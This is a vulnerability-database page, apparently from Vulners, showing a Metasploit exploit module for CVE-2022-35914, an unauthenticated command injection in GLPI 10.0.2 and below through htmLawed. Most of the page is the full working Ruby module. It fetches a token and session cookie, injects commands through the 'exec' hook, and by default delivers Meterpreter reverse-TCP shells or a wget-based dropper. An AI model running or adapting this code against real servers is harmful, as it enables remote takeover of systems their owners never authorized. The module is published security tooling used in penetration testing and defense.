Lucene search
+L

GLPI htmLawed php command injection

🗓️ 24 Oct 2022 19:50:02Reported by cosad3s, bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 1059 Views

GLPI htmLawed php command injection from versions 10.0.2 and belo

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Dolibarr
3 Apr 202610:02
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
30 Sep 202216:43
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
30 Sep 202216:43
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
24 Apr 202406:39
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
25 Aug 202419:32
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
21 Jul 202621:08
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
24 Apr 202406:39
githubexploit
zdt
GLPI 10.0.2 Command Injection Exploit
25 Oct 202200:00
zdt
zdt
htmlLawed 1.2.5 - Remote Code Execution Exploit
19 May 202400:00
zdt
ALT Linux
Security fix for the ALT Linux 9 package glpi version 9.5.9-alt1
23 Sep 202200:00
altlinux
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GLPI htmLawed php command injection',
        'Description' => %q{
          This exploit takes advantage of a unauthenticated php command injection available
          from GLPI versions 10.0.2 and below to execute a command.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc
          'bwatters-r7' # module
        ],
        'References' => [
          ['CVE', '2022-35914' ],
          ['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']
        ],
        'Platform' => 'linux',
        'CmdStagerFlavor' => [ 'printf', 'wget' ],
        'Targets' => [
          [
            'Nix Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
                'RPORT' => 80
              }
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
                'RPORT' => 80
              },
              'Type' => :linux_dropper
            }
          ]
        ],
        'DisclosureDate' => '2022-01-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options(
      [
        Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi'])
      ]
    )
  end

  def populate_values
    uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri),
        'connection' => 'keep-alive',
        'accept' => '*/*'
      })
      @html = res.get_html_document
      @token = @html.at_xpath('//input[@id="token"]')['value']
      vprint_status("token = #{@token}")

      # sometimes I got > 1 sid.  We must use the last one.
      @sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
      vprint_status("sid = #{@sid}")
    rescue NoMethodError => e
      elog('Failed to retrieve token or sid', error: e)
    end
  end

  def execute_command(cmd, _opts = {})
    populate_values if @sid.nil? || @token.nil?
    uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri),
      'cookie' => 'sid=' + @sid,
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'token' => @token,
        'text' => cmd,
        'hhook' => 'exec',
        'sid' => @sid
      }
    })
  end

  def check
    populate_values if @html_doc.nil?
    if @token.nil? || @sid.nil? || @html.nil?
      return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
    end
    return Exploit::CheckCode::Appears('The target appears to be vulnerable') if @html.to_s.include?('htmLawed')

    return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
9High risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.99696
SSVC
1059